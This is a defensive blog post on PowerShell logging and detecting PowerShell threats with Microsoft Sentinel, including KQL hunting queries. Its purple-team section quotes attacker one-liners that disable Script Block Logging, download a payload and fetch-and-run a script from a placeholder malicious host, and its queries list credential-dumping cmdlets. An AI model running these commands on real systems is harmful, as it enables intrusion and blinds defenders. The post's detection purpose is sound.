Integrating PowerShell Logging into Microsoft Sentinel

PowerShell is a critical tool in any security team and IT admin’s arsenal, offering powerful scripting capabilities for automating tasks across both on-premises and cloud environments. However, its flexibility makes it an attractive target for attackers seeking to run malicious scripts. Monitoring PowerShell activity is vital for identifying suspicious behavior early, and Microsoft Sentinel offers advanced capabilities for detecting, analyzing, and responding to PowerShell-based threats.

But what happens when your PowerShell logging isn’t functioning as expected? What if you’re missing key insights or alert rules aren’t triggering? This blog post will explore PowerShell logging and monitoring with Microsoft Sentinel. I will explore some scenarios to ensure your environment is effectively secured against PowerShell-based threats, from log collection to creating custom detection rules.

PowerShell Logging Mechanisms

PowerShell provides several logging mechanisms that can be enabled and configured to monitor activities and help detect security incidents. These mechanisms are essential for understanding the behavior of PowerShell scripts in your environment and identifying potential threats. Below are the key mechanisms in PowerShell:

Script Block Logging

Script Block Logging is a powerful feature that allows administrators to capture and log the content of entire script blocks as they are executed. Script blocks represent portions of code, including functions, cmdlets, or inline scripts. Malicious actors often try to obfuscate scripts to avoid detection. Still, Script Block Logging can capture both the original and de-obfuscated versions of the scripts, making it highly effective for detecting sophisticated attacks.

What does it capture? Script Block Logging captures:

  • Every script or command that is run, whether typed interactively or from a script file.
  • The entire content of the script block, including those created dynamically at runtime.
  • De-obfuscated script versions help identify malicious PowerShell attacks that attempt to hide their actions.

Security Use Cases:

  • Detecting Malicious Activity: Script Block Logging is highly effective against script obfuscation, a common technique in PowerShell-based attacks. Malicious actors may attempt to bypass detection by obfuscating their scripts, but Script Block Logging captures the entire execution context, making detection easier.
  • Compliance and Auditing: Organizations that need detailed logs for compliance purposes (e.g., PCI-DSS, HIPAA) can benefit from the ability to log and audit PowerShell execution, ensuring compliance with security controls.

Script block logging provides several security benefits:

  • Creates an audit trail of executed PowerShell code.
  • Automatically decrypts obfuscated code (in PowerShell 5.0+).
  • Helps with post-incident analysis and threat hunting.
  • Provides visibility into potentially malicious PowerShell activity.

Log Location and Event ID’s:

  • Event Viewer: The logs are found under:Applications and Services Logs > Microsoft > Windows > PowerShell > Operational
  • Event ID 4104: This event ID indicates that a script block was logged.
  • Event ID 4105: Logs when a script block starts execution. (optional)
  • Event ID 4106: Logs when a script block completes execution. (optional)


Module Logging

Module Logging focuses on capturing the execution details of specific PowerShell modules. PowerShell modules are collections of cmdlets, functions, variables, and workflows, often used to manage specific Windows or other software components. Module Logging tracks the commands executed within these modules, providing administrators with detailed insight into which commands are used and how they are used.

What Does It Capture? Module Logging records:

  • The name of the module, the cmdlet or function executed, and the parameters passed.
  • Command execution for modules, such as Active Directory, Exchange, or custom modules deployed in the environment.
  • Pipeline execution details
  • Variable initialization
  • Command invocations
  • Portions of scripts
  • Some de-obfuscated code
  • Some data formatted for output

Security Use Cases:

  • Monitoring Administrative Modules: By enabling logging on sensitive modules like ActiveDirectory or Hyper-VAdministrators can track the execution of high-privilege commands. For instance, they Can log the use of commands that create or modify user accounts or alter group membership, helping to detect unauthorized changes to critical infrastructure.
  • Detecting Lateral Movement: Attackers often use PowerShell modules to interact with system services and move laterally within a network. By enabling Module Logging, organizations can detect attempts to use built-in modules for nefarious purposes.

Script block logging provides several security benefits:

  • Comprehensive Activity Tracking: Records detailed information about command execution, including pipeline details and variable initialization.
  • Enhanced Forensic Analysis: Aids in investigations by providing insights into actions taken during security incidents.
  • Detection of Malicious Activity: Captures both obfuscated and de-obfuscated code, helping identify attempts to bypass security controls.
  • Integration with Security Systems: Logs can be integrated with SIEM and UBA systems to improve the detection of threats and anomalous behavior.
  • Proactive Monitoring: This feature enables the setup of alerts for suspicious events, allowing for early detection and mitigation of potential threats.

Log Location and Event ID’s:

  • Event Viewer: The logs are found under:Applications and Services Logs > Microsoft > Windows > PowerShell > Operational
  • Event ID 4103: This event ID logs the execution of a cmdlet or function from a specific module.


Transcript Logging

Transcript Logging provides a high-level, readable log of an entire PowerShell session. It captures everything that appears in the console, including user input, command output, and error messages. Transcripts include timestamps, making them correlate with other system logs or events easier.

What Does It Capture? Transcript logs capture:

  • Every command entered in the PowerShell session, including parameters.
  • The total output of each command, including any errors or warnings.
  • Timestamps for each command execution.

Security Use Cases:

  • Auditing Administrator Actions: In environments where multiple administrators work on the same system, Transcript Logging can help audit their actions. This is useful for tracking down misconfigurations or unauthorized actions.
  • Compliance with Auditing Requirements: For organizations that require detailed session-level logging (e.g., financial institutions or government agencies), Transcript Logging provides an easy way to capture the full context of administrative sessions.

Script block logging provides several security benefits:

  • Enhanced Visibility: Captures a complete record of all PowerShell commands and outputs.
  • Forensic Analysis: Enables detailed post-incident investigation of PowerShell activities.
  • Compliance and Auditing: Maintains an audit trail to meet regulatory requirements.
  • Threat Detection: Helps identify suspicious or malicious PowerShell usage patterns.
  • Operational Insights: Provides valuable data on administrative behaviors and practices.
  • Tamper Evidence: Creates separate logs that can reveal attempts to manipulate system records.

Folder Location:

File System: The transcript log files are stored in the directory specified during configuration, such as:

makefile C:\PowerShellTranscripts


Pipeline Execution Logging

Pipeline Execution Logging offers an in-depth view of the entire execution process of PowerShell commands within the pipeline. It logs each stage of the pipeline execution, capturing cmdlet invocations and data flow through the pipeline. This logging level gives administrators granular insight into how commands are processed, making it ideal for troubleshooting complex scripts and detecting misuse.

What Does It Capture?

Pipeline Execution Logging records:

  • Every command runs as part of a pipeline.
  • The data is passed between commands within the pipeline, including input and output.

Security Use Cases:

  • Tracking Malicious Pipelines: Attackers often use PowerShell pipelines to string together multiple cmdlets to achieve their goals. Pipeline Execution Logging can help identify suspicious pipelines that involve potentially malicious cmdlets, such as Invoke-WebRequest those used to download payloads from external sites.
  • Debugging and Forensics: In environments where PowerShell scripts are used extensively, Pipeline Execution Logging can help administrators identify bottlenecks or issues in script execution.

Log Location:

  • Event Viewer: These logs are available under:Applications and Services Logs > Microsoft > Windows > PowerShell > Operational
  • Event IDs 4105 and 4106: These event IDs log the start and execution details of each pipeline stage.

PowerShell Deep Script Analysis Logging

Deep Analysis Logging is an advanced option that leverages enhanced features of PowerShell logging to capture and analyze in-depth script execution behaviors. This logging level is often used for detailed forensics and anomaly detection, focusing on tracking script logic and behavior rather than just script content.

This log type isn’t a separate feature of PowerShell per se, but it can be implemented using Windows Defender Application Control (WDAC) or AppLocker, combined with existing PowerShell logging to provide even more granular control and visibility over PowerShell script execution.

How Deep Script Analysis Logging Works:

  • Combining WDAC/AppLocker with PowerShell: By using either Windows Defender Application Control or AppLocker in conjunction with PowerShell logging, administrators can enforce strict execution policies. These policies ensure that only approved scripts and binaries are allowed to run. The integration provides not only execution control but also logs detailed information about attempts to run unauthorized scripts.
  • Auditing Unauthorized Scripts: Any attempts to execute unapproved scripts, even those with administrative privileges, are logged. These logs can help detect early indicators of compromise, such as an attacker attempting to run untrusted scripts.

Configuration with AppLocker:

AppLocker can be configured to allow or block the execution of PowerShell scripts based on pre-defined rules. In audit mode, AppLocker will not prevent script execution but will log detailed events about the attempts to run scripts that are not allowed under the security policy.

How to Enable AppLocker for PowerShell Script Logging:
  • Open Group Policy Management Console (GPMC): Run gpedit.msc.
  • Navigate to:Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker
  • Create a Rule for PowerShell Scripts: You can create custom rules under the Script Rules section. You can specify which PowerShell scripts can run based on the file path, publisher, or hash.
  • Set the rule to Audit Only to log the execution attempts instead of blocking them. This mode ensures execution continues, but every attempt is logged for review.

The Event ID 8004

Event ID 8004 is associated with Windows Defender Application Control (WDAC) or AppLocker and occurs when PowerShell is executed in Constrained Language Mode. This is an important security feature, especially in environments where untrusted or potentially malicious scripts are a concern.

  • Event ID: 8004
  • Source: Microsoft-Windows-AppLocker or Microsoft-Windows-WDAC
  • Description: This event is logged when PowerShell operates under Constrained Language Mode. This mode restricts the functionality of PowerShell scripts, preventing the execution of advanced or potentially dangerous operations typically exploited in attacks. Constrained Language Mode allows only essential and limited scripting commands.

Log Location for AppLocker:

AppLocker events, including those related to PowerShell scripts, are logged in the Event Viewer:Applications and Services Logs > Microsoft > Windows > AppLocker > EXE and DLL

  • Event ID 8003: Indicates when a script is executed and allowed by the AppLocker policy.
  • Event ID 8004: Logs script execution events that violate policy rules.

Security Use Cases for Deep Script Analysis Logging:

  • Detection of Unauthorized Scripts: By combining PowerShell logging with WDAC or AppLocker, you can detect unauthorized PowerShell scripts that may have been missed by traditional logging mechanisms.
  • Preventing Script-Based Attacks: In block mode, WDAC or AppLocker can prevent malicious or unapproved scripts from running entirely, acting as a defense mechanism in addition to logging.
  • Enforcing Strict Script Controls: Administrators can ensure that only trusted, signed scripts can run in their environment, significantly reducing the risk of script-based attacks.



Microsoft Sentinel and PowerShell

Forwarding PowerShell logs to Microsoft Sentinel provides numerous benefits, especially in strengthening an organization’s security posture, automating responses, and improving visibility into system activities. Here’s a detailed breakdown of the key benefits:

Centralized Log Management

By forwarding PowerShell logs to Microsoft Sentinel, all log data from multiple machines and environments is centralized in one place. This simplifies management and analysis by providing a unified view of all PowerShell activity across the organization. Key benefits:

  • Centralized Visibility: Sentinel consolidates all PowerShell activity, including script executions, module invocations, and system commands, enabling security teams to monitor all systems from a single dashboard.
  • Simplified Log Retrieval: Logs from various endpoints are automatically sent to Sentinel without manually accessing each device or server.

Enhanced Threat Detection and Correlation

Microsoft Sentinel leverages built-in analytics, machine learning, and Kusto Query Language (KQL) to detect anomalous behaviors or suspicious PowerShell activity. By forwarding PowerShell logs, you enable Sentinel to correlate PowerShell events with other security events (e.g., sign-in attempts, file modifications, or network traffic), which can identify potential attack chains and advanced persistent threats (APT). Key benefits:

  • Proactive Detection of Suspicious Behavior: Sentinel can detect unusual PowerShell activity such as script obfuscation, exploitation attempts, lateral movement, and privilege escalation through correlation with other data sources.
  • Automated Detection: Sentinel’s analytics rules can be set to automatically trigger alerts when it detects specific patterns, such as PowerShell commands used in known attack techniques (e.g., Invoke-Mimikatz, privilege escalation commands, etc.).

Automated Incident Response

One of the most significant advantages of integrating PowerShell logs with Microsoft Sentinel is the ability to automate responses via Playbooks. These playbooks can be triggered based on specific PowerShell events, enabling rapid remediation of threats. Key benefits:

  • Rapid Remediation: Sentinel playbooks can automatically respond to suspicious PowerShell activity by isolating compromised machines, disabling compromised user accounts, or blocking malicious IP addresses.
  • Automation: Time-consuming manual tasks, such as investigating or gathering system details in response to suspicious activity, can be automated using Playbooks with PowerShell scripts.

Playbook Use Case: If Sentinel detects a malicious PowerShell script execution (e.g., running a Invoke-Expression Command), it can trigger a playbook to automatically disable the user account and notify the security team, minimizing the potential damage from the attack.

Advanced Hunting and Forensics

PowerShell logs forwarded to Sentinel are stored in the Log Analytics workspace, which can be queried using Kusto Query Language (KQL) for advanced threat hunting and forensic investigations. Sentinel allows security analysts to conduct deep PowerShell log investigations across multiple systems. Key benefits:

  • Advanced Hunting Capabilities: Analysts can use KQL to search PowerShell logs for indicators of compromise (IoCs), such as specific commands used in known attacks, repeated failed execution attempts, or unauthorized privilege changes.Example Query:Event
    | where EventID == 4104 and Message contains "Invoke-Expression"
  • Historical Analysis: PowerShell logs stored in Sentinel provide a historical record of all PowerShell activity. This is critical for post-incident analysis, as it allows analysts to review past events to understand how an attack unfolded.

Integration with Threat Intelligence

Sentinel integrates with external and internal Threat Intelligence feeds. By forwarding PowerShell logs to Sentinel, you can enrich the logs with threat intelligence data, helping you correlate PowerShell activity with known malicious IP addresses, domains, or scripts. Key benefits:

  • Contextual Threat Insights: Suspicious PowerShell activities can be cross-referenced with threat intelligence feeds to determine if they are part of a known attack vector.
  • Automated Alerting on Known Threats: Sentinel can automatically alert the security team when PowerShell activity matches a known IoC, such as executing a script that downloads files from a known malicious URL.

Incident Enrichment and Context

PowerShell logs can provide enriched context for incident investigations when integrated with other logs and security data in Sentinel. Sentinel can automatically correlate PowerShell activity with other data sources such as Entra ID, Defender XDR, or network logs. Key benefits:

  • Correlated Insights: PowerShell logs are correlated with other data sources, giving security analysts more context to understand the broader impact of a suspicious activity. For example, Sentinel can correlate PowerShell command execution with Azure AD sign-in logs to see if the activity was triggered by a failed login attempt or a compromised account.
  • Incident Timeline Creation: Sentinel helps create a detailed timeline of incidents, showing when and how a PowerShell command was executed, how it relates to other security events, and what actions were taken afterward.



Forward PowerShell logs to Microsoft Sentinel

The best way to forward PowerShell logs to Microsoft Sentinel is by using the Azure Monitor Agent (AMA) with Data Collection Rules (DCR). This method provides a scalable, flexible, and centralized approach to log collection and forwarding, especially in large environments or cloud-native setups. Below is a detailed explanation of why this is the best approach, along with step-by-step instructions for implementation.

Why Use Azure Monitor Agent (AMA) with Data Collection Rules (DCR)?

  • Modern and Scalable: The Azure Monitor Agent is the latest log collection agent designed for scalability and efficiency. It provides better performance and management than the legacy Log Analytics Agent (MMA).
  • Granular Control with Data Collection Rules: DCR allows fine-grained control over which logs are collected and forwarded to Microsoft Sentinel. You can target specific log types (such as PowerShell logs) and apply collection rules to different groups of machines.
  • Centralized Management: DCRs allow you to manage log collection policies across multiple machines from a single point, making them ideal for large organizations or cloud environments.
  • Cloud-Native: AMA and DCR integrate seamlessly with Azure and Microsoft Sentinel, providing a cloud-native approach to log collection, which is easier to maintain in hybrid or multi-cloud setups.
  • Cost Efficiency: By allowing granular control over which logs are collected, you can optimize data collection, reduce unnecessary logs, and manage ingestion costs in Microsoft Sentinel.

Forwarding PowerShell Logs to Microsoft Sentinel Using AMA and DCR

Enable PowerShell Logging on Target Machines

Before forwarding logs, ensure that PowerShell logging is enabled on your machines. Configure the logging options for:

  • Script Block Logging
  • Module Logging
  • Transcript Logging

Install the Azure Monitor Agent (AMA)

The Azure Monitor Agent must be installed on each machine you want to collect logs from. This agent will handle the log forwarding to Microsoft Sentinel.

To Install the Azure Monitor Agent:

Note: The following instructions depend on the Windows server, whether Azure VM or external to Azure.

  1. Navigate to the Azure Portal’s target machine (Azure VM, Azure Arc-enabled machine, or others).
  2. Go to Monitoring > Extensions and click + Add.
  3. Select Azure Monitor Agent and install it.
  4. If you’re using an Azure Arc-enabled machine (for non-Azure VMs), ensure the machine is connected to Azure Arc.

Alternatively, you can install the agent manually via PowerShell for on-premise or hybrid environments:

Once the agent is installed, you must create a Data Collection Rule (DCR) defining which logs should be collected and forwarded to Microsoft Sentinel. This allows you to target specific logs (like PowerShell) from multiple machines.

TIP: The DCR could be configured via the Security Event connector or directly the DCR. It will affect the table, Event, or SecurityEvent.

Steps to Create a DCR:

  1. Go to Azure Monitor in the Azure Portal.
  2. Select Data Collection Rules under Settings.
  3. Click + Create to start creating a new DCR:
    • Name: Give your DCR a meaningful name (e.g., “PowerShellLogCollection”).
    • Region: Select the region for the DCR.
    • Resource Group: Select an existing resource group or create a new one.
  4. Add Data Sources:
    • Click + Add Data Source and select Windows Event Logs as the data source type.
    • For Event Log Name, specify the relevant PowerShell logs:
      • Microsoft-Windows-PowerShell/Operational For Script Block Logging and Module Logging.
      • Security Log for any PowerShell commands that require security context (such as process creation or privilege changes).
  5. Apply Data Collection Rule to Machines:
    • Under Machines, select the Azure VMs or Arc-enabled machines for which you want to apply the DCR. You can also use Azure Policy to automatically apply the DCR to newly added machines.
    • Click Create to finalize the rule.

Sample Windows Event Log Entries for PowerShell:

  • Event ID 4104: Captures Script Block Logging.
  • Event ID 4103: Captures Module Logging.

Connect DCR to Microsoft Sentinel Workspace

Ensure that your DCR is connected to the Log Analytics Workspace used by Microsoft Sentinel to receive the logs:

  1. Navigate to Microsoft Sentinel in the Azure Portal.
  2. Go to your Sentinel Workspace.
  3. Under Settings, go to Data Connectors.
  4. Ensure the Windows Event Logs data connector is enabled and linked to your Log Analytics Workspace.
  5. Verify that your DCR sends logs to the correct workspace by monitoring the ingestion through the Logs pane.

Verify Data Ingestion in Microsoft Sentinel

Once the DCR is created and applied, the Azure Monitor Agent will forward PowerShell logs to Microsoft Sentinel.

Steps to Verify:

  1. Go to Microsoft Sentinel.
  2. Under Logs, use Kusto Query Language (KQL) to search for PowerShell logs.

Example query to check PowerShell script block execution logs:

Event
| where EventLog == "Microsoft-Windows-PowerShell/Operational"

| where EventID == 4104

| project TimeGenerated, EventData, Computer

This query will display script block executions from the forwarded PowerShell logs.




PowerShell Event Logging: A Purple Team Approach (Attack and Defense)

PowerShell is a versatile scripting tool widely used by administrators for automating tasks, but attackers who exploit its capabilities for malicious purposes also love it. A Purple Team approach, which involves collaboration between the Red Team (attackers) and Blue Team (defenders), allows organizations to understand the offensive tactics used to evade detection and the defensive strategies to prevent or detect such actions. This article presents a Purple Team perspective on attacks targeting PowerShell event logging and corresponding defenses.

Red Team (Attack) Tactics: Exploiting PowerShell Logging

Obfuscating PowerShell Commands to Evade Detection

  • Attack: Obfuscation is a common technique to hide the true intent of PowerShell commands. Attackers may use encoding (such as Base64) or other obfuscation techniques (e.g., string concatenation) to prevent logging systems from easily identifying malicious behavior.
  •  Example: powershell.exe -encodedCommand <Base64EncodedPayload>
  • Why It’s Effective: Most basic detection mechanisms are not designed to interpret or decode obfuscated commands. This allows attackers to execute malicious commands without raising immediate suspicion in logs.

Disabling PowerShell Logging

  • Attack: One of the first things an attacker might attempt after gaining access is to disable PowerShell logging (e.g., Script Block Logging or Module Logging). This prevents the system from recording malicious actions, effectively blinding the defender.
  • Example:Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0
  • Why It’s Effective: Disabling logging can allow an attacker to operate under the radar and execute further malicious actions without creating evidence that defenders can use for investigation.

Bypassing PowerShell Constrained Language Mode (CLM)

  • Attack: Constrained Language Mode is designed to limit the functionality of PowerShell, especially for non-administrative users. However, attackers can bypass CLM by escalating privileges or modifying settings to enable full PowerShell functionality.
  • Example: Exploiting administrative privileges to switch from Constrained to Full Language Mode.
  • Why It’s Effective: This allows attackers to run potentially dangerous scripts or modules that would otherwise be restricted, enabling them to execute advanced attacks.

Living-Off-the-Land (LoL) Tactics

  • Attack: Attackers often use built-in PowerShell cmdlets like Invoke-WebRequest, Invoke-Expression, and Get-Process to perform malicious actions without introducing new binaries. This minimizes their footprint and avoids detection by traditional security tools.
  • Example:Invoke-WebRequest -Uri "http://malicious-site.com/payload.exe" -OutFile "C:\temp\payload.exe"
  • Why It’s Effective: Using native tools, attackers blend in with normal system activity, making it more difficult for defenders to distinguish between legitimate and malicious PowerShell usage.

Running PowerShell in Memory (Fileless Attacks)

  • Attack: Attackers may execute PowerShell scripts entirely in memory, leaving no traces on disk. This is often done via malicious macros, Invoke-Mimikatz, or other fileless techniques.
  • Example:IEX (New-Object Net.WebClient).DownloadString('http://malicious-site.com/malicious-script.ps1')
  • Why It’s Effective: Fileless attacks bypass traditional antivirus solutions that rely on file-based signatures and can evade detection if logging is disabled or improperly configured.

Abusing PowerShell Remoting for Lateral Movement

  • Attack: Attackers often use PowerShell Remoting to move laterally within a compromised network. This allows them to run commands on remote systems without needing direct access.
  • Example:Enter-PSSession -ComputerName "compromised-server"
  • Why It’s Effective: PowerShell Remoting can be stealthy if defenders aren’t monitoring it. Attackers can use it to execute commands on remote systems while avoiding detection.

Blue Team (Defense) Strategies: Detecting and Mitigating PowerShell Logging Exploits

Enable Script Block Logging

  • Defense: Script Block Logging captures the full content of PowerShell script blocks, including de-obfuscated versions of commands. This is critical for detecting obfuscated scripts and complex attacks.
  • How to Enable:Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
  • Monitor Event ID 4104 in Event Viewer under: Applications and Services Logs > Microsoft > Windows > PowerShell > Operational
  • Why It Works: Even if attackers try to obfuscate their commands, Script Block Logging will capture both the original and the de-obfuscated content, making it easier to detect malicious activity.

Implement Module Logging

  • Defense: Module Logging tracks specific cmdlets and functions executed within PowerShell modules. This is particularly useful for detecting malicious use of administrative cmdlets, such as New-LocalUser, Add-LocalGroupMember, or Invoke-WebRequest.
  • How to Enable:
    Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
    Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" -Name "*" -Value "*"
  • Monitor Event ID 4103 in Event Viewer to detect malicious module use.
  • Why It Works: Module Logging provides detailed insight into command execution within specific PowerShell modules, helping defenders spot unauthorized or unusual activity within commonly abused cmdlets.

Harden PowerShell with AppLocker or Windows Defender Application Control (WDAC)

  • Defense: Implement AppLocker or WDAC to control which scripts and modules can run on the system. You can configure PowerShell to run in Constrained Language Mode for non-administrative users and restrict execution to signed scripts.
  • Why It Works: Limiting PowerShell functionality for non-administrators prevents attackers from using advanced cmdlets for privilege escalation or lateral movement. Only approved, signed scripts can run, reducing the risk of malicious PowerShell execution.

Monitor for PowerShell Remoting Activity

  • Defense: PowerShell Remoting can be abused for lateral movement. By monitoring PowerShell session events (Event ID 400 and 403), defenders can detect when PowerShell Remoting is being used, especially if it’s unexpected or originates from unapproved accounts.
  • How to Enable:
    • Event ID 400: PowerShell engine startup event.
    • Event ID 403: PowerShell engine stop event.
  • Why It Works: Monitoring these events helps identify when attackers use PowerShell Remoting to move laterally within the environment.

Monitor Process Creation with Command Line Auditing (Event ID 4688)

  • Defense: Enable Audit Process Creation and configure Command Line Auditing to capture command-line arguments for all processes, including powershell.exe. This helps track the execution of PowerShell commands and their parameters, even if PowerShell logging is disabled.
  • Why It Works: This defense captures every process creation event, giving defenders visibility into what commands were executed, including any suspicious or unusual PowerShell usage.

Monitor for Logging Tampering (Registry Changes)

  • Defense: Attackers may attempt to disable PowerShell logging by modifying the registry. Use Windows Event Auditing (Event ID 4657) to monitor for changes to critical PowerShell registry keys related to logging.
  • Key Registry Paths:
    • HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
    • HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
  • Why It Works: Detecting changes to logging settings can alert defenders to an ongoing attack where the attacker attempts to disable defenses.

Leverage a SIEM (e.g., Microsoft Sentinel) for Centralized Monitoring

  • Defense: Integrate PowerShell logs with a Microsoft Sentinel. Defenders can correlate PowerShell events with other security events across the network by centralizing log data.
  • Why It Works: SIEM platforms allow for advanced correlation rules, alerting, and threat-hunting capabilities, helping detect suspicious patterns of PowerShell activity, such as repeated script execution or unusual PowerShell remoting sessions.

Enable Transcript Logging for Full PowerShell Sessions

  • Defense: Transcript Logging provides a comprehensive record of PowerShell sessions, including command input and output. This can be invaluable during forensic investigations or when tracking user activities.
  • How to Enable:Set



DFIR Scenarios for PowerShell with Microsoft Sentinel

Below are scenarios that illustrate real-world attack behaviors involving PowerShell. Each scenario includes tailored Kusto Query Language (KQL) queries for use in Microsoft Sentinel, designed to detect and respond to specific PowerShell-based threats. These scenarios will help your team hunt for malicious activity, identify compromised systems, and take timely action to mitigate threats within your environment.

Credential Dumping via PowerShell Using Mimikatz-Like Behavior

Attackers often use PowerShell to load in-memory credential dumping tools (e.g., Mimikatz) without writing files to disk. These behaviors typically involve loading unmanaged code and interacting with LSASS (Local Security Authority Subsystem Service) to extract credentials.

Key Artifacts:

  • PowerShell Script Block Logging (Event ID 4104)
  • Process creation logs for suspicious PowerShell processes (Event ID 4688)
  • Possible encoded command strings

KQL Query:

let suspiciousProcesses = dynamic([“powershell.exe”, “pwsh.exe”]);
let mimikatzKeywords = dynamic([“Invoke-Mimikatz”, “Invoke-ReflectivePEInjection”, “Invoke-CredentialsPhish”, “Invoke-TokenManipulation”]);
SecurityEvent
| where EventID == 4104 // Script block logging
| where CommandLine contains “Base64” or CommandLine has_any (mimikatzKeywords)
| join kind=inner (
SecurityEvent
| where EventID == 4688 // Process creation
| where NewProcessName has_any (suspiciousProcesses)
| where CommandLine contains “lsass”
| project TimeGenerated, Computer, Account, NewProcessName, CommandLine
) on $left.Computer == $right.Computer
| project TimeGenerated, Computer, Account, NewProcessName, CommandLine
| summarize count() by Computer, Account, CommandLine, bin(TimeGenerated, 1h)
| top 100 by count_

Incident Response Actions:

  • Immediately isolate the affected machines.
  • Investigate the process tree to understand the scope of lateral movement.
  • Dump memory from the affected system for forensic analysis of LSASS.

PowerShell Persistence via Scheduled Tasks

Attackers often use PowerShell to establish persistence by regularly creating malicious scheduled tasks that execute encoded PowerShell commands.

Key Artifacts:

  • PowerShell Script Block Logging (Event ID 4104)
  • Scheduled Task creation logs (Event ID 4698 and 4699)

KQL Query:

let scheduledTaskEvents = dynamic([4698, 4699]);
SecurityEvent
| where EventID in (scheduledTaskEvents)
| join kind=inner (
SecurityEvent
| where EventID == 4104 // Script block logging
| where CommandLine contains “New-ScheduledTask”
| project TimeGenerated, Computer, Account, CommandLine
) on $left.Computer == $right.Computer
| project TimeGenerated, Computer, Account, CommandLine
| summarize count() by CommandLine, bin(TimeGenerated, 1h)

Incident Response Actions:

  • Disable any suspicious scheduled tasks.
  • Investigate persistence across the network by searching for similar scheduled tasks in other hosts.
  • Remove malicious scripts or backdoors installed through these tasks.

Data Exfiltration via PowerShell Encoded Web Requests

In this scenario, attackers use PowerShell to download additional malicious payloads or exfiltrate sensitive data via HTTP/S using encoded commands to evade detection.

Key Artifacts:

  • PowerShell Script Block Logging (Event ID 4104)
  • Network traffic indicating abnormal external connections

KQL Query:

let suspiciousKeywords = dynamic([“Invoke-WebRequest”, “Invoke-RestMethod”, “DownloadFile”, “Out-File”]);
SecurityEvent
| where EventID == 4104 // Script block logging
| where CommandLine contains “Base64” or CommandLine has_any (suspiciousKeywords)
| extend Url = extract(“http[s]?://[^s]+”, 0, CommandLine) // Extract URLs
| project TimeGenerated, Computer, Account, CommandLine, Url
| where isnotempty(Url)
| summarize count() by Url, bin(TimeGenerated, 1h)
| top 100 by count_

Incident Response Actions:

  • Analyze the network logs to confirm data exfiltration or malicious downloads.
  • Identify compromised accounts and machines involved in the data exfiltration.
  • Conduct deep packet inspection (DPI) on the flagged network traffic for more context.

Privilege Escalation through PowerShell Execution Policy Bypass

Attackers may attempt to bypass PowerShell’s Execution Policy to run unsigned or unapproved scripts with elevated privileges, often a precursor to deploying more dangerous payloads.

Key Artifacts:

  • PowerShell Script Block Logging (Event ID 4104)
  • Security Event Logs showing administrative logins or privilege escalation

KQL Query:

SecurityEvent
| where EventID == 4104 // Script block logging
| where CommandLine contains “ExecutionPolicy” and CommandLine contains “Bypass”
| join kind=inner (
SecurityEvent
| where EventID == 4672 // Special privilege assigned to new logon
| where Account contains “Administrator”
| project TimeGenerated, Computer, Account
) on $left.Account == $right.Account
| project TimeGenerated, Computer, Account, CommandLine
| summarize count() by Account, CommandLine, bin(TimeGenerated, 1h)

Incident Response Actions:

  • Check for other administrative commands executed by the compromised account.
  • Ensure any backdoors or persistence mechanisms established during this period are removed.
  • Review GPOs or configurations related to PowerShell execution policies to harden the environment.

Lateral Movement via PowerShell Remoting (PSRemoting)

PowerShell Remoting allows attackers to laterally move across the network using Enter-PSSession or Invoke-Command on compromised hosts. Detecting these commands can reveal lateral movement attempts.

Key Artifacts:

  • PowerShell Script Block Logging (Event ID 4104)
  • Network connection logs for WinRM (TCP port 5985/5986)

KQL Query:

let psRemotingKeywords = dynamic([“Enter-PSSession”, “Invoke-Command”, “New-PSSession”]);
SecurityEvent
| where EventID == 4104 // Script block logging
| where CommandLine has_any (psRemotingKeywords)
| extend TargetHost = extract(“-ComputerName ([^\\s]+)”, 1, CommandLine) // Extract target host
| project TimeGenerated, Computer, Account, CommandLine, TargetHost
| summarize count() by TargetHost, Account, bin(TimeGenerated, 1h)
| top 100 by count_

Incident Response Actions:

  • Identify the attacker’s entry point and determine how they initiated the PowerShell remoting session.
  • Disable WinRM on unnecessary systems or limit its use with more stringent authentication.
  • Investigate lateral movement paths by following other connection attempts to neighboring systems.



References

 

Discover more from CYBERDOM

Subscribe now to keep reading and get access to the full archive.

Continue reading